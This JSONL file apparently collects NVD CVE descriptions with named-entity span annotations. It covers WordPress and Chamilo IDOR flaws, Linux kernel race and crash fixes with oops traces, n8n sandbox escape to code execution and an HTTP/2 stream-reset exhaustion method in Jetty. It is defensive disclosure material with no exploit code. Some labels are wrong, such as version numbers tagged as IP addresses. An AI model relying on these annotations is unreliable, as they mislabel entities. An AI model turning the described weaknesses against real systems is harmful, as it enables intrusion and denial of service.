{"text": "The Kali Forms plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.4.8. This is due to the `get_items_permissions_check()` permission callback on the `/kaliforms/v1/forms/{id}` REST API endpoint only checking for the `edit_posts` capability without verifying that the requesting user has ownership or authorization over the specific form resource. This makes it possible for authenticated attackers, with Contributor-level access and above, to read form configuration data belonging to other users (including administrators) by enumerating form IDs. Exposed data includes form field structures, Google reCAPTCHA secret keys (if configured), email notification templates, and server paths.", "spans": {"FILEPATH: /kaliforms/v1/forms": [[210, 229]], "SYSTEM: WordPress": [[26, 35]], "ORGANIZATION: Google": [[654, 660]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-1860"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nperf/core: Fix data race between perf_event_set_output() and perf_mmap_close()\n\nYang Jihing reported a race between perf_event_set_output() and\nperf_mmap_close():\n\n\tCPU1\t\t\t\t\tCPU2\n\n\tperf_mmap_close(e2)\n\t  if (atomic_dec_and_test(&e2->rb->mmap_count)) // 1 - > 0\n\t    detach_rest = true\n\n\t\t\t\t\t\tioctl(e1, IOC_SET_OUTPUT, e2)\n\t\t\t\t\t\t  perf_event_set_output(e1, e2)\n\n\t  ...\n\t  list_for_each_entry_rcu(e, &e2->rb->event_list, rb_entry)\n\t    ring_buffer_attach(e, NULL);\n\t    // e1 isn't yet added and\n\t    // therefore not detached\n\n\t\t\t\t\t\t    ring_buffer_attach(e1, e2->rb)\n\t\t\t\t\t\t      list_add_rcu(&e1->rb_entry,\n\t\t\t\t\t\t\t\t   &e2->rb->event_list)\n\nAfter this; e1 is attached to an unmapped rb and a subsequent\nperf_mmap() will loop forever more:\n\n\tagain:\n\t\tmutex_lock(&e->mmap_mutex);\n\t\tif (event->rb) {\n\t\t\t...\n\t\t\tif (!atomic_inc_not_zero(&e->rb->mmap_count)) {\n\t\t\t\t...\n\t\t\t\tmutex_unlock(&e->mmap_mutex);\n\t\t\t\tgoto again;\n\t\t\t}\n\t\t}\n\nThe loop in perf_mmap_close() holds e2->mmap_mutex, while the attach\nin perf_event_set_output() holds e1->mmap_mutex. As such there is no\nserialization to avoid this race.\n\nChange perf_event_set_output() to take both e1->mmap_mutex and\ne2->mmap_mutex to alleviate that problem. Additionally, have the loop\nin perf_mmap() detach the rb directly, this avoids having to wait for\nthe concurrent perf_mmap_close() to get around to doing it to make\nprogress.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49607"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: pcrypt - Fix hungtask for PADATA_RESET\n\nWe found a hungtask bug in test_aead_vec_cfg as follows:\n\nINFO: task cryptomgr_test:391009 blocked for more than 120 seconds.\n\"echo 0 > /proc/sys/kernel/hung_task_timeout_secs\" disables this message.\nCall trace:\n __switch_to+0x98/0xe0\n __schedule+0x6c4/0xf40\n schedule+0xd8/0x1b4\n schedule_timeout+0x474/0x560\n wait_for_common+0x368/0x4e0\n wait_for_completion+0x20/0x30\n wait_for_completion+0x20/0x30\n test_aead_vec_cfg+0xab4/0xd50\n test_aead+0x144/0x1f0\n alg_test_aead+0xd8/0x1e0\n alg_test+0x634/0x890\n cryptomgr_test+0x40/0x70\n kthread+0x1e0/0x220\n ret_from_fork+0x10/0x18\n Kernel panic - not syncing: hung_task: blocked tasks\n\nFor padata_do_parallel, when the return err is 0 or -EBUSY, it will call\nwait_for_completion(&wait->completion) in test_aead_vec_cfg. In normal\ncase, aead_request_complete() will be called in pcrypt_aead_serial and the\nreturn err is 0 for padata_do_parallel. But, when pinst->flags is\nPADATA_RESET, the return err is -EBUSY for padata_do_parallel, and it\nwon't call aead_request_complete(). Therefore, test_aead_vec_cfg will\nhung at wait_for_completion(&wait->completion), which will cause\nhungtask.\n\nThe problem comes as following:\n(padata_do_parallel)                 |\n    rcu_read_lock_bh();              |\n    err = -EINVAL;                   |   (padata_replace)\n                                     |     pinst->flags |= PADATA_RESET;\n    err = -EBUSY                     |\n    if (pinst->flags & PADATA_RESET) |\n        rcu_read_unlock_bh()         |\n        return err\n\nIn order to resolve the problem, we replace the return err -EBUSY with\n-EAGAIN, which means parallel_data is changing, and the caller should call\nit again.\n\nv3:\nremove retry and just change the return err.\nv2:\nintroduce padata_try_do_parallel() in pcrypt_aead_encrypt and\npcrypt_aead_decrypt to solve the hungtask.", "spans": {"FILEPATH: /proc/sys/kernel/hung_task_timeout_secs": [[253, 292]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52813"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nNFSv4: Prevent NULL-pointer dereference in nfs42_complete_copies()\n\nOn the node of an NFS client, some files saved in the mountpoint of the\nNFS server were copied to another location of the same NFS server.\nAccidentally, the nfs42_complete_copies() got a NULL-pointer dereference\ncrash with the following syslog:\n\n[232064.838881] NFSv4: state recovery failed for open file nfs/pvc-12b5200d-cd0f-46a3-b9f0-af8f4fe0ef64.qcow2, error = -116\n[232064.839360] NFSv4: state recovery failed for open file nfs/pvc-12b5200d-cd0f-46a3-b9f0-af8f4fe0ef64.qcow2, error = -116\n[232066.588183] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000058\n[232066.588586] Mem abort info:\n[232066.588701]   ESR = 0x0000000096000007\n[232066.588862]   EC = 0x25: DABT (current EL), IL = 32 bits\n[232066.589084]   SET = 0, FnV = 0\n[232066.589216]   EA = 0, S1PTW = 0\n[232066.589340]   FSC = 0x07: level 3 translation fault\n[232066.589559] Data abort info:\n[232066.589683]   ISV = 0, ISS = 0x00000007\n[232066.589842]   CM = 0, WnR = 0\n[232066.589967] user pgtable: 64k pages, 48-bit VAs, pgdp=00002000956ff400\n[232066.590231] [0000000000000058] pgd=08001100ae100003, p4d=08001100ae100003, pud=08001100ae100003, pmd=08001100b3c00003, pte=0000000000000000\n[232066.590757] Internal error: Oops: 96000007 [#1] SMP\n[232066.590958] Modules linked in: rpcsec_gss_krb5 auth_rpcgss nfsv4 dns_resolver nfs lockd grace fscache netfs ocfs2_dlmfs ocfs2_stack_o2cb ocfs2_dlm vhost_net vhost vhost_iotlb tap tun ipt_rpfilter xt_multiport ip_set_hash_ip ip_set_hash_net xfrm_interface xfrm6_tunnel tunnel4 tunnel6 esp4 ah4 wireguard libcurve25519_generic veth xt_addrtype xt_set nf_conntrack_netlink ip_set_hash_ipportnet ip_set_hash_ipportip ip_set_bitmap_port ip_set_hash_ipport dummy ip_set ip_vs_sh ip_vs_wrr ip_vs_rr ip_vs iptable_filter sch_ingress nfnetlink_cttimeout vport_gre ip_gre ip_tunnel gre vport_geneve geneve vport_vxlan vxlan ip6_udp_tunnel udp_tunnel openvswitch nf_conncount dm_round_robin dm_service_time dm_multipath xt_nat xt_MASQUERADE nft_chain_nat nf_nat xt_mark xt_conntrack xt_comment nft_compat nft_counter nf_tables nfnetlink ocfs2 ocfs2_nodemanager ocfs2_stackglue iscsi_tcp libiscsi_tcp libiscsi scsi_transport_iscsi ipmi_ssif nbd overlay 8021q garp mrp bonding tls rfkill sunrpc ext4 mbcache jbd2\n[232066.591052]  vfat fat cas_cache cas_disk ses enclosure scsi_transport_sas sg acpi_ipmi ipmi_si ipmi_devintf ipmi_msghandler ip_tables vfio_pci vfio_pci_core vfio_virqfd vfio_iommu_type1 vfio dm_mirror dm_region_hash dm_log dm_mod nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 br_netfilter bridge stp llc fuse xfs libcrc32c ast drm_vram_helper qla2xxx drm_kms_helper syscopyarea crct10dif_ce sysfillrect ghash_ce sysimgblt sha2_ce fb_sys_fops cec sha256_arm64 sha1_ce drm_ttm_helper ttm nvme_fc igb sbsa_gwdt nvme_fabrics drm nvme_core i2c_algo_bit i40e scsi_transport_fc megaraid_sas aes_neon_bs\n[232066.596953] CPU: 6 PID: 4124696 Comm: 10.253.166.125- Kdump: loaded Not tainted 5.15.131-9.cl9_ocfs2.aarch64 #1\n[232066.597356] Hardware name: Great Wall .\\x93\\x8e...RF6260 V5/GWMSSE2GL1T, BIOS T656FBE_V3.0.18 2024-01-06\n[232066.597721] pstate: 20400009 (nzCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n[232066.598034] pc : nfs4_reclaim_open_state+0x220/0x800 [nfsv4]\n[232066.598327] lr : nfs4_reclaim_open_state+0x12c/0x800 [nfsv4]\n[232066.598595] sp : ffff8000f568fc70\n[232066.598731] x29: ffff8000f568fc70 x28: 0000000000001000 x27: ffff21003db33000\n[232066.599030] x26: ffff800005521ae0 x25: ffff0100f98fa3f0 x24: 0000000000000001\n[232066.599319] x23: ffff800009920008 x22: ffff21003db33040 x21: ffff21003db33050\n[232066.599628] x20: ffff410172fe9e40 x19: ffff410172fe9e00 x18: 0000000000000000\n[232066.599914] x17: 0000000000000000 x16: 0000000000000004 x15: 0000000000000000\n[232066.600195] x14: 0000000000000000 x13: ffff800008e685a8 x12: 00000000eac0c6e6\n[232066.600498] x11: 00000000000000\n---truncated---", "spans": {"IP_ADDRESS: 10.253.166.125": [[3024, 3038]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[671, 695]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-50046"}}
{"text": "Vulnerability in the Java SE, Java SE Embedded, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Libraries). Supported versions that are affected are Java SE: 7u291, 8u281, 11.0.10, 16; Java SE Embedded: 8u281; Oracle GraalVM Enterprise Edition: 19.3.5, 20.3.1.2 and 21.0.0.2. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Java SE, Java SE Embedded, Oracle GraalVM Enterprise Edition. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Java SE, Java SE Embedded, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 5.3 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N).", "spans": {"IP_ADDRESS: 20.3.1.2": [[277, 285]], "IP_ADDRESS: 21.0.0.2": [[290, 298]], "SYSTEM: Java": [[21, 25], [30, 34], [100, 104], [173, 177], [209, 213], [424, 428], [433, 437], [704, 708], [713, 717], [818, 822], [926, 930]], "ORGANIZATION: Oracle": [[48, 54], [93, 99], [234, 240], [451, 457], [731, 737]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-2163"}}
{"text": "n8n is an open source workflow automation platform. Prior to versions 2.14.1, 2.13.3, and 1.123.26, an authenticated user with permission to create or modify workflows could use the Merge node's \"Combine by SQL\" mode to read local files on the n8n host and achieve remote code execution. The AlaSQL sandbox did not sufficiently restrict certain SQL statements, allowing an attacker to access sensitive files on the server or even compromise the instance. The issue has been fixed in n8n versions 2.14.1, 2.13.3, and 1.123.26. Users should upgrade to one of these versions or later to remediate the vulnerability. If upgrading is not immediately possible, administrators should consider the following temporary mitigations: Limit workflow creation and editing permissions to fully trusted users only, and/or disable the Merge node by adding `n8n-nodes-base.merge` to the `NODES_EXCLUDE` environment variable. These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.", "spans": {"VULNERABILITY: remote code execution": [[265, 286]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33660"}}
{"text": "Vulnerability in the Enterprise Manager Base Platform product of Oracle Enterprise Manager (component: Discovery Framework). Supported versions that are affected are 12.1.0.5, 13.2.0.0 and 13.3.0.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Enterprise Manager Base Platform. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Enterprise Manager Base Platform accessible data as well as unauthorized update, insert or delete access to some of Enterprise Manager Base Platform accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Enterprise Manager Base Platform. CVSS 3.0 Base Score 6.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:L).", "spans": {"IP_ADDRESS: 12.1.0.5": [[166, 174]], "IP_ADDRESS: 13.2.0.0": [[176, 184]], "IP_ADDRESS: 13.3.0.0": [[189, 197]], "ORGANIZATION: Oracle": [[65, 71]], "VULNERABILITY: denial of service": [[668, 685]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2617"}}
{"text": "A heap-based buffer overflow vulnerability exists in the exists in the network-facing input handling routines of Arcserve Unified Data Protection (UDP). This flaw is reachable without authentication and results from improper bounds checking when processing attacker-controlled input. By sending specially crafted data, a remote attacker can corrupt heap memory, potentially causing a denial of service or enabling arbitrary code execution depending on the memory layout and exploitation techniques used. This vulnerability is similar in nature to CVE-2025-34522 but affects a separate code path or component. No user interaction is required, and exploitation occurs in the context of the vulnerable process. This vulnerability affects all UDP versions prior to 10.2. UDP 10.2 includes the necessary patches and requires no action. Versions 8.0 through 10.1 are supported and require either patch application or upgrade to 10.2. Versions 7.x and earlier are unsupported or out of maintenance and must be upgraded to 10.2 to remediate the issue.", "spans": {"CVE_ID: CVE-2025-34522": [[547, 561]], "VULNERABILITY: heap-based buffer overflow": [[2, 28]], "VULNERABILITY: denial of service": [[384, 401]], "VULNERABILITY: code execution": [[424, 438]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-34523"}}
{"text": "In Eclipse Jetty, versions <=9.4.57, <=10.0.25, <=11.0.25, <=12.0.21, <=12.1.0.alpha2, an HTTP/2 client may trigger the server to send RST_STREAM frames, for example by sending frames that are malformed or that should not be sent in a particular stream state, therefore forcing the server to consume resources such as CPU and memory.\n\n\nFor example, a client can open a stream and then send WINDOW_UPDATE frames with window size increment of 0, which is illegal.\nPer specification  https://www.rfc-editor.org/rfc/rfc9113.html#name-window_update , the server should send a RST_STREAM frame.\nThe client can now open another stream and send another bad WINDOW_UPDATE, therefore causing the server to consume more resources than necessary, as this case does not exceed the max number of concurrent streams, yet the client is able to create an enormous amount of streams in a short period of time.\n\n\nThe attack can be performed with other conditions (for example, a DATA frame for a closed stream) that cause the server to send a RST_STREAM frame.\n\n\n\nLinks:\n\n\n\n  *   https://github.com/jetty/jetty.project/security/advisories/GHSA-mmxm-8w33-wc4h", "spans": {"URL: https://www.rfc-editor.org/rfc/rfc9113.html#name-window_update": [[481, 543]], "URL: https://github.com/jetty/jetty.project/security/advisories/GHSA-mmxm-8w33-wc4h": [[1061, 1139]], "ORGANIZATION: Eclipse": [[3, 10]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-5115"}}
{"text": "Their is an information disclosure vulnerability in Helm from version 3.1.0 and before version 3.2.0. `lookup` is a Helm template function introduced in Helm v3. It is able to lookup resources in the cluster to check for the existence of specific resources and get details about them. This can be used as part of the process to render templates. The documented behavior of `helm template` states that it does not attach to a remote cluster. However, a the recently added `lookup` template function circumvents this restriction and connects to the cluster even during `helm template` and `helm install|update|delete|rollback --dry-run`. The user is not notified of this behavior. Running `helm template` should not make calls to a cluster. This is different from `install`, which is presumed to have access to a cluster in order to load resources into Kubernetes. Helm 2 is unaffected by this vulnerability. A malicious chart author could inject a `lookup` into a chart that, when rendered through `helm template`, performs unannounced lookups against the cluster a user&#39;s `KUBECONFIG` file points to. This information can then be disclosed via the output of `helm template`. This issue has been fixed in Helm 3.2.0", "spans": {"SYSTEM: Kubernetes": [[851, 861]], "VULNERABILITY: information disclosure": [[12, 34]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-11013"}}
{"text": "The AWS IoT Device SDK v2 for Java, Python, C++ and Node.js appends a user supplied Certificate Authority (CA) to the root CAs instead of overriding it on Unix systems. TLS handshakes will thus succeed if the peer can be verified either from the user-supplied CA or the system’s default trust-store. Attackers with access to a host’s trust stores or are able to compromise a certificate authority already in the host's trust store (note: the attacker must also be able to spoof DNS in this case) may be able to use this issue to bypass CA pinning. An attacker could then spoof the MQTT broker, and either drop traffic and/or respond with the attacker's data, but they would not be able to forward this data on to the MQTT broker because the attacker would still need the user's private keys to authenticate against the MQTT broker. The 'aws_tls_ctx_options_override_default_trust_store_*' function within the aws-c-io submodule has been updated to override the default trust store. This corrects this issue. This issue affects: Amazon Web Services AWS IoT Device SDK v2 for Java versions prior to 1.5.0 on Linux/Unix. Amazon Web Services AWS IoT Device SDK v2 for Python versions prior to 1.6.1 on Linux/Unix. Amazon Web Services AWS IoT Device SDK v2 for C++ versions prior to 1.12.7 on Linux/Unix. Amazon Web Services AWS IoT Device SDK v2 for Node.js versions prior to 1.5.3 on Linux/Unix. Amazon Web Services AWS-C-IO 0.10.4 on Linux/Unix.", "spans": {"FILEPATH: Node.js": [[52, 59], [1346, 1353]], "SYSTEM: Python": [[36, 42], [1164, 1170]], "SYSTEM: Linux": [[1106, 1111], [1198, 1203], [1288, 1293], [1381, 1386], [1432, 1437]], "SYSTEM: Java": [[30, 34], [1074, 1078]], "ORGANIZATION: Amazon": [[1028, 1034], [1118, 1124], [1210, 1216], [1300, 1306], [1393, 1399]], "ORGANIZATION: AWS": [[4, 7], [1048, 1051], [1138, 1141], [1230, 1233], [1320, 1323], [1413, 1416]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-40830"}}
{"text": "TensorFlow is an open source platform for machine learning. In affected versions the code for sparse matrix multiplication is vulnerable to undefined behavior via binding a reference to `nullptr`. This occurs whenever the dimensions of `a` or `b` are 0 or less. In the case on one of these is 0, an empty output tensor should be allocated (to conserve the invariant that output tensors are always allocated when the operation is successful) but nothing should be written to it (that is, we should return early from the kernel implementation). Otherwise, attempts to write to this empty tensor would result in heap OOB access. The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-41219"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\niavf: fix hang on reboot with ice\n\nWhen a system with E810 with existing VFs gets rebooted the following\nhang may be observed.\n\n Pid 1 is hung in iavf_remove(), part of a network driver:\n PID: 1        TASK: ffff965400e5a340  CPU: 24   COMMAND: \"systemd-shutdow\"\n  #0 [ffffaad04005fa50] __schedule at ffffffff8b3239cb\n  #1 [ffffaad04005fae8] schedule at ffffffff8b323e2d\n  #2 [ffffaad04005fb00] schedule_hrtimeout_range_clock at ffffffff8b32cebc\n  #3 [ffffaad04005fb80] usleep_range_state at ffffffff8b32c930\n  #4 [ffffaad04005fbb0] iavf_remove at ffffffffc12b9b4c [iavf]\n  #5 [ffffaad04005fbf0] pci_device_remove at ffffffff8add7513\n  #6 [ffffaad04005fc10] device_release_driver_internal at ffffffff8af08baa\n  #7 [ffffaad04005fc40] pci_stop_bus_device at ffffffff8adcc5fc\n  #8 [ffffaad04005fc60] pci_stop_and_remove_bus_device at ffffffff8adcc81e\n  #9 [ffffaad04005fc70] pci_iov_remove_virtfn at ffffffff8adf9429\n #10 [ffffaad04005fca8] sriov_disable at ffffffff8adf98e4\n #11 [ffffaad04005fcc8] ice_free_vfs at ffffffffc04bb2c8 [ice]\n #12 [ffffaad04005fd10] ice_remove at ffffffffc04778fe [ice]\n #13 [ffffaad04005fd38] ice_shutdown at ffffffffc0477946 [ice]\n #14 [ffffaad04005fd50] pci_device_shutdown at ffffffff8add58f1\n #15 [ffffaad04005fd70] device_shutdown at ffffffff8af05386\n #16 [ffffaad04005fd98] kernel_restart at ffffffff8a92a870\n #17 [ffffaad04005fda8] __do_sys_reboot at ffffffff8a92abd6\n #18 [ffffaad04005fee0] do_syscall_64 at ffffffff8b317159\n #19 [ffffaad04005ff08] __context_tracking_enter at ffffffff8b31b6fc\n #20 [ffffaad04005ff18] syscall_exit_to_user_mode at ffffffff8b31b50d\n #21 [ffffaad04005ff28] do_syscall_64 at ffffffff8b317169\n #22 [ffffaad04005ff50] entry_SYSCALL_64_after_hwframe at ffffffff8b40009b\n     RIP: 00007f1baa5c13d7  RSP: 00007fffbcc55a98  RFLAGS: 00000202\n     RAX: ffffffffffffffda  RBX: 0000000000000000  RCX: 00007f1baa5c13d7\n     RDX: 0000000001234567  RSI: 0000000028121969  RDI: 00000000fee1dead\n     RBP: 00007fffbcc55ca0   R8: 0000000000000000   R9: 00007fffbcc54e90\n     R10: 00007fffbcc55050  R11: 0000000000000202  R12: 0000000000000005\n     R13: 0000000000000000  R14: 00007fffbcc55af0  R15: 0000000000000000\n     ORIG_RAX: 00000000000000a9  CS: 0033  SS: 002b\n\nDuring reboot all drivers PM shutdown callbacks are invoked.\nIn iavf_shutdown() the adapter state is changed to __IAVF_REMOVE.\nIn ice_shutdown() the call chain above is executed, which at some point\ncalls iavf_remove(). However iavf_remove() expects the VF to be in one\nof the states __IAVF_RUNNING, __IAVF_DOWN or __IAVF_INIT_FAILED. If\nthat's not the case it sleeps forever.\nSo if iavf_shutdown() gets invoked before iavf_remove() the system will\nhang indefinitely because the adapter is already in state __IAVF_REMOVE.\n\nFix this by returning from iavf_remove() if the state is __IAVF_REMOVE,\nas we already went through iavf_shutdown().", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: systemd": [[315, 322]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53064"}}
{"text": "TensorFlow is an open source platform for machine learning. In affected versions the shape inference code for `QuantizeV2` can trigger a read outside of bounds of heap allocated array. This occurs whenever `axis` is a negative value less than `-1`. In this case, we are accessing data before the start of a heap buffer. The code allows `axis` to be an optional argument (`s` would contain an `error::NOT_FOUND` error code). Otherwise, it assumes that `axis` is a valid index into the dimensions of the `input` tensor. If `axis` is less than `-1` then this results in a heap OOB read. The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, as this version is the only one that is also affected.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-41211"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\npstore: Avoid kcore oops by vmap()ing with VM_IOREMAP\n\nAn oops can be induced by running 'cat /proc/kcore > /dev/null' on\ndevices using pstore with the ram backend because kmap_atomic() assumes\nlowmem pages are accessible with __va().\n\n Unable to handle kernel paging request at virtual address ffffff807ff2b000\n Mem abort info:\n ESR = 0x96000006\n EC = 0x25: DABT (current EL), IL = 32 bits\n SET = 0, FnV = 0\n EA = 0, S1PTW = 0\n FSC = 0x06: level 2 translation fault\n Data abort info:\n ISV = 0, ISS = 0x00000006\n CM = 0, WnR = 0\n swapper pgtable: 4k pages, 39-bit VAs, pgdp=0000000081d87000\n [ffffff807ff2b000] pgd=180000017fe18003, p4d=180000017fe18003, pud=180000017fe18003, pmd=0000000000000000\n Internal error: Oops: 96000006 [#1] PREEMPT SMP\n Modules linked in: dm_integrity\n CPU: 7 PID: 21179 Comm: perf Not tainted 5.15.67-10882-ge4eb2eb988cd #1 baa443fb8e8477896a370b31a821eb2009f9bfba\n Hardware name: Google Lazor (rev3 - 8) (DT)\n pstate: a0400009 (NzCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n pc : __memcpy+0x110/0x260\n lr : vread+0x194/0x294\n sp : ffffffc013ee39d0\n x29: ffffffc013ee39f0 x28: 0000000000001000 x27: ffffff807ff2b000\n x26: 0000000000001000 x25: ffffffc0085a2000 x24: ffffff802d4b3000\n x23: ffffff80f8a60000 x22: ffffff802d4b3000 x21: ffffffc0085a2000\n x20: ffffff8080b7bc68 x19: 0000000000001000 x18: 0000000000000000\n x17: 0000000000000000 x16: 0000000000000000 x15: ffffffd3073f2e60\n x14: ffffffffad588000 x13: 0000000000000000 x12: 0000000000000001\n x11: 00000000000001a2 x10: 00680000fff2bf0b x9 : 03fffffff807ff2b\n x8 : 0000000000000001 x7 : 0000000000000000 x6 : 0000000000000000\n x5 : ffffff802d4b4000 x4 : ffffff807ff2c000 x3 : ffffffc013ee3a78\n x2 : 0000000000001000 x1 : ffffff807ff2b000 x0 : ffffff802d4b3000\n Call trace:\n __memcpy+0x110/0x260\n read_kcore+0x584/0x778\n proc_reg_read+0xb4/0xe4\n\nDuring early boot, memblock reserves the pages for the ramoops reserved\nmemory node in DT that would otherwise be part of the direct lowmem\nmapping. Pstore's ram backend reuses those reserved pages to change the\nmemory type (writeback or non-cached) by passing the pages to vmap()\n(see pfn_to_page() usage in persistent_ram_vmap() for more details) with\nspecific flags. When read_kcore() starts iterating over the vmalloc\nregion, it runs over the virtual address that vmap() returned for\nramoops. In aligned_vread() the virtual address is passed to\nvmalloc_to_page() which returns the page struct for the reserved lowmem\narea. That lowmem page is passed to kmap_atomic(), which effectively\ncalls page_to_virt() that assumes a lowmem page struct must be directly\naccessible with __va() and friends. These pages are mapped via vmap()\nthough, and the lowmem mapping was never made, so accessing them via the\nlowmem virtual address oopses like above.\n\nLet's side-step this problem by passing VM_IOREMAP to vmap(). This will\ntell vread() to not include the ramoops region in the kcore. Instead the\narea will look like a bunch of zeros. The alternative is to teach kmap()\nabout vmalloc areas that intersect with lowmem. Presumably such a change\nisn't a one-liner, and there isn't much interest in inspecting the\nramoops region in kcore files anyway, so the most expedient route is\ntaken for now.", "spans": {"HASH: baa443fb8e8477896a370b31a821eb2009f9bfba": [[922, 962]], "FILEPATH: /proc/kcore": [[163, 174]], "FILEPATH: /dev/null": [[177, 186]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[979, 985]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50849"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nfirmware: arm_ffa: Check if ffa_driver remove is present before executing\n\nCurrently ffa_drv->remove() is called unconditionally from\nffa_device_remove(). Since the driver registration doesn't check for it\nand allows it to be registered without .remove callback, we need to check\nfor the presence of it before executing it from ffa_device_remove() to\nabove a NULL pointer dereference like the one below:\n\n  | Unable to handle kernel NULL pointer dereference at virtual address 0000000000000000\n  | Mem abort info:\n  |   ESR = 0x0000000086000004\n  |   EC = 0x21: IABT (current EL), IL = 32 bits\n  |   SET = 0, FnV = 0\n  |   EA = 0, S1PTW = 0\n  |   FSC = 0x04: level 0 translation fault\n  | user pgtable: 4k pages, 48-bit VAs, pgdp=0000000881cc8000\n  | [0000000000000000] pgd=0000000000000000, p4d=0000000000000000\n  | Internal error: Oops: 0000000086000004 [#1] PREEMPT SMP\n  | CPU: 3 PID: 130 Comm: rmmod Not tainted 6.3.0-rc7 #6\n  | Hardware name: FVP Base RevC (DT)\n  | pstate: 63402809 (nZCv daif +PAN -UAO +TCO +DIT -SSBS BTYPE=-c)\n  | pc : 0x0\n  | lr : ffa_device_remove+0x20/0x2c\n  | Call trace:\n  |  0x0\n  |  device_release_driver_internal+0x16c/0x260\n  |  driver_detach+0x90/0xd0\n  |  bus_remove_driver+0xdc/0x11c\n  |  driver_unregister+0x30/0x54\n  |  ffa_driver_unregister+0x14/0x20\n  |  cleanup_module+0x18/0xeec\n  |  __arm64_sys_delete_module+0x234/0x378\n  |  invoke_syscall+0x40/0x108\n  |  el0_svc_common+0xb4/0xf0\n  |  do_el0_svc+0x30/0xa4\n  |  el0_svc+0x2c/0x7c\n  |  el0t_64_sync_handler+0x84/0xf0\n  |  el0t_64_sync+0x190/0x194", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[428, 452], [502, 526]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54058"}}
{"text": "Chamilo LMS is an open-source learning management system. In versions prior to 2.0.0-RC.3, the /api/course_rel_users endpoint is vulnerable to Insecure Direct Object Reference (IDOR), allowing an authenticated attacker to modify the user parameter in the request body to enroll any arbitrary user into any course without proper authorization checks. The backend trusts the user-supplied input for the user field and performs no server-side verification that the requester owns the referenced user ID or has permission to act on behalf of other users. This enables unauthorized manipulation of user-course relationships, potentially granting unintended access to course materials, bypassing enrollment controls, and compromising platform integrity. This issue has been fixed in version  2.0.0-RC.3.", "spans": {"FILEPATH: /api/course_rel_users": [[95, 116]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-34602"}}
{"text": "Vulnerability in the Oracle iSupport product of Oracle E-Business Suite (component: Profile). Supported versions that are affected are 12.1.1-12.1.3. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle iSupport. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle iSupport, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle iSupport accessible data as well as unauthorized update, insert or delete access to some of Oracle iSupport accessible data. CVSS 3.0 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [48, 54], [258, 264], [392, 398], [581, 587], [680, 686]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2843"}}
